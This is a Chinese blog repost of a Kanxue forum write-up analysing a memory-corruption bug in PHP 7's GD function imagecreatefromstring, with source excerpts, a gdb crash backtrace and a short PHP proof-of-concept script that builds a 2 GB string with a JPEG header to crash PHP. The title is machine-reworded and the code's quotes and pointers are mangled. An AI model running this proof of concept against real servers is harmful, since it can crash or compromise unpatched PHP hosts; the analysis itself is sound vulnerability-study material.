首页 » SEO优化 » php破绽发掘书本技巧_PHP7马脚挖掘系列之一Stackbased

php破绽发掘书本技巧_PHP7马脚挖掘系列之一Stackbased

访客 2024-11-07 0

扫一扫用手机浏览

文章目录 [+]

0x01 序言

php破绽发掘书本技巧_PHP7马脚挖掘系列之一Stackbased

首先声明这些漏洞不是我挖的,我想挖但是挖不出来,蛋疼。
本次讲解栈溢出漏洞,这个漏洞是比较常见的漏洞,现在 php 里面不太常见了,php 漏洞挖掘没有啥好工具,只能人工逐步的看,afl 彷佛可以自动化挖掘,不过我跑了 10几天也没跑出个crash。

php破绽发掘书本技巧_PHP7马脚挖掘系列之一Stackbased
(图片来自网络侵删)

包含漏洞的版本:PHP 7.0.11

0x02 漏洞剖析

首先下载源码http://php.net/releases/,然后编译安装,版本可以低一点,今后的漏洞这个版本都是没打补丁的。
环境采取 ubuntu 和编译版本的 php7.0.2,只有 linux 才有符号表,windows 下不好调试,虽然方便的多。
现在正式开始吧。

定位到漏洞函数代码 /ext/gd/gd.c:2222

PHP_FUNCTION(imagecreatefromstring)

{

zval data;

gdImagePtr im;

int imtype;

char sig[8];

if (zend_parse_parameters(ZEND_NUM_ARGS(), \公众z\"大众, &data) == FAILURE) {

return;

}

convert_to_string_ex(data);

if (Z_STRLEN_P(data) < 8) {

php_error_docref(NULL, E_WARNING, \"大众Empty string or invalid image\"大众);

RETURN_FALSE;

}

memcpy(sig, Z_STRVAL_P(data), 8);

imtype = _php_image_type(sig);

switch (imtype) {

case PHP_GDIMG_TYPE_JPG:

#ifdef HAVE_GD_JPG

im = _php_image_create_from_string(data, \"大众JPEG\公众, gdImageCreateFromJpegCtx);

#else

php_error_docref(NULL, E_WARNING, \公众No JPEG support in this PHP build\"大众);

RETURN_FALSE;

#endif

break;

case PHP_GDIMG_TYPE_PNG:

#ifdef HAVE_GD_PNG

im = _php_image_create_from_string(data, \公众PNG\"大众, gdImageCreateFromPngCtx);

#else

php_error_docref(NULL, E_WARNING, \公众No PNG support in this PHP build\"大众);

RETURN_FALSE;

#endif

break;

case PHP_GDIMG_TYPE_GIF:

im = _php_image_create_from_string(data, \"大众GIF\公众, gdImageCreateFromGifCtx);

break;

case PHP_GDIMG_TYPE_WBM:

im=_php_image_create_from_string(data,\公众WBMP\"大众, gdImageCreateFromWBMPCtx);

break;

case PHP_GDIMG_TYPE_GD2:

im = _php_image_create_from_string(data, \"大众GD2\"大众, gdImageCreateFromGd2Ctx);

break;

default:

php_error_docref(NULL, E_WARNING, \公众Data is not in a recognized format\"大众);

RETURN_FALSE;

}

if (!im) {

php_error_docref(NULL, E_WARNING, \公众Couldn't create GD Image Stream out of Data\"大众);

RETURN_FALSE;

}

RETURN_RES(zend_register_resource(im, le_gd));

}

有可能上面的代码长了点,但是只要找到关键函数就行了_php_image_create_from_string,在这个函数中的 gdNewDynamicCtxEx 这个函数才是关键点,跟踪进去就行了。
在 gd.c:2196 行,如果你利用其他版本可能行号不一样,不过没事搜索函数就行了。

gdImagePtr _php_image_create_from_string(zval data, char tn, gdImagePtr (ioctx_func_p)())

{

gdImagePtr im;

gdIOCtx io_ctx;

io_ctx = gdNewDynamicCtxEx(Z_STRLEN_P(data),Z_STRVAL_P(data), 0); //这边的传入参数的长度为0x80000000 由于是int,以是这边整数溢出。

………………………………………………………………………………

gdNewDynamicCtxEx函数代码,行号就不说了。

gdIOCtx gdNewDynamicCtxEx (int initialSize, void data, int freeOKFlag)

{

dpIOCtx ctx;

dynamicPtr dp;

ctx = (dpIOCtx ) gdMalloc (sizeof (dpIOCtx));

dp = newDynamic(initialSize, data, freeOKFlag);

ctx->dp = dp; //这边将initialSize 赋值了

ctx->ctx.getC =dynamicGetchar; //这边造成栈溢出,跟踪进去进行了。

………………………………………………………………………………

newDynamic函数代码

static dynamicPtr newDynamic (int initialSize, void data, int freeOKFlag)

{

dynamicPtr dp;

dp = (dynamicPtr ) gdMalloc (sizeof (dynamicPtr)); // 这边申请了64个字节

allocDynamic (dp, initialSize, data);

………………………………………………………..

static int

allocDynamic (dynamicPtr dp, int initialSize, void data)

{

if (data == NULL) {

dp->logicalSize = 0;

dp->dataGood = FALSE;

dp->data = gdMalloc(initialSize); 这里的initialSize的值为-2147483648

} else {

dp->logicalSize = initialSize;

dp->dataGood = TRUE;

dp->data = data;

}

……………………………………………….

static int dynamicGetchar (gdIOCtxPtr ctx)

{

unsigned char b;

int rv;

rv = dynamicGetbuf (ctx, &b, 1);

………………………………………………………………………………

static int dynamicGetbuf (gdIOCtxPtr ctx, void buf, int len)

{

int rlen, remain;

dpIOCtxPtr dctx;

dynamicPtr dp;

dctx = (dpIOCtxPtr) ctx;

dp = dctx->dp;

remain = dp->logicalSize - dp->pos;

if (remain >= len) {

rlen = len;

} else {

if (remain == 0) {

return EOF;

}

rlen = remain;//上面的remain 的值为负数,没有检讨,直接比较后赋值,以是导致下面的rlen的值过大造成栈溢出。

}

memcpy(buf, (void ) ((char ) dp->data + dp->pos), rlen); //这边造成了栈溢出

下面是几个构造体,可以对照着去理解代码。

ypedef struct gdIOCtx {

int (getC)(struct gdIOCtx);

int (getBuf)(struct gdIOCtx, void, int);

void (putC)(struct gdIOCtx, int);

int (putBuf)(struct gdIOCtx, const void, int);

int (seek)(struct gdIOCtx, const int);

long (tell)(struct gdIOCtx);

void (gd_free)(struct gdIOCtx);

void data;

} gdIOCtx;

………………………………………………………………………………

typedef struct dpStruct

{

void data;

int logicalSize;

int realSize;

int dataGood;

int pos;

int freeOK;

} dynamicPtr;

………………………………………………………………………………

typedef struct dpIOCtx

{

gdIOCtx ctx;

dynamicPtr dp;

} dpIOCtx;

………………………………………………………………………………

下面是 gdb 的调试信息,不知道为什么参数的值没有显示出来。
有些代码直接阅读比较麻烦,可以 gdb 调试代码,再调试的同时,打印出它的值。

root@mhn:~# gdb -q --args php-7.0.2/sapi/cli/php -n test.php

Reading symbols from php-7.0.2/sapi/cli/php...done.

(gdb) r

Starting program: /root/php-7.0.2/sapi/cli/php -n test.php

[Thread debugging using libthread_db enabled]

Using host libthread_db library \"大众/lib/x86_64-linux-gnu/libthread_db.so.1\"大众.

Program received signal SIGSEGV, Segmentation fault.

__memcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:118

118 ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S: No such file or directory.

(gdb) bt

#0 __memcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:118

#1 0x000000000059c1cf in memcpy (__len=18446744071562067968, __src=, __dest=) at /usr/include/x86_64-linux-gnu/bits/string3.h:51

#2 dynamicGetbuf (ctx=, buf=, len=) at /root/php-7.0.2/ext/gd/libgd/gd_io_dp.c:246

#3 0x000000000059dd05 in php_gd_fill_input_buffer (cinfo=0x7fffffffaa70) at /root/php-7.0.2/ext/gd/libgd/gd_jpeg.c:607

#4 0x00007ffff73144e6 in ?? () from /usr/lib/x86_64-linux-gnu/libjpeg.so.8

#5 0x00007ffff73129ca in ?? () from /usr/lib/x86_64-linux-gnu/libjpeg.so.8

poc 就放下面了:

ini_set('memory_limit',-1);

$var_3 = str_repeat(\"大众A\"大众,0x80000000);

$var_3[0]=\"大众\xff\公众;

$var_3[1]=\公众\xd8\"大众;

$var_3[2]=\"大众\xff\"大众;

imagecreatefromstring($var_3);

这边为什么要更换变量的值呢,由于它上面会检讨文件头是否为真实的图片。
以是我这边用了 jpg 的文件头,该当是吧,我也忘了啥文件头,反正只要网上搜索一下图片的文件头就行了。

0x03 小结

说实话我也是初学者,只能这样写一篇文章了,网上的 php 底层的漏洞挖掘太少了,就只有运用层的代码审计,希望能够给初学者们帮助吧。
如果写的有啥不对的地方欢迎指出。

参考链接

https://bugs.php.net/bug.php?id=73280

精彩评论

如果是 7.0.11 那么该当会有不少环境都包含此漏洞,理论上能拿到 php 进程权限,可能是 www,也可能是 root,威胁还是很大的。
不过在实际的项目中这个函数 image_create_from_string() 利用的频度不太高。

建议还在利用 PHP 7 低版本的用户尽快升级到最新版本,避免做事器遭到入侵。

本文由看雪论坛 hackyzh 原创

❤ 往期热门内容推举

看雪众测及其渗透测试做事先容

国产电纸书 Bambook 破解条记(一)

HG533路由器剖析教程之三:数据流跟踪

WEB渗透测试中回显的一些技巧

报名 |《走近企业看安全》第10站 知道创宇

......

更多精良文章,“关注看雪学院"大众号”查看!

看雪论坛:http://bbs.pediy.com

微信"大众年夜众号 ID:ikanxue

微博:看雪安全

投稿、互助:http://www.kanxue.com

标签:

相关文章

我国土地利用分类代码的构建与应用

土地利用分类代码是我国土地管理的重要组成部分,是土地资源调查、规划、利用和保护的依据。土地利用分类代码的构建与应用显得尤为重要。本...

SEO优化 2025-02-18 阅读1 评论0

微信跳转微信支付便捷支付体验的秘密武器

移动支付已成为人们日常生活中不可或缺的一部分。作为我国领先的社交平台,微信支付凭借其便捷、安全的支付方式,深受广大用户的喜爱。而微...

SEO优化 2025-02-18 阅读0 评论0

探寻会计科目代码背后的奥秘分类与

会计科目代码是会计信息系统中不可或缺的组成部分,它将企业的经济活动进行分类和归纳,为会计核算、财务分析和决策提供重要依据。本文将从...

SEO优化 2025-02-18 阅读1 评论0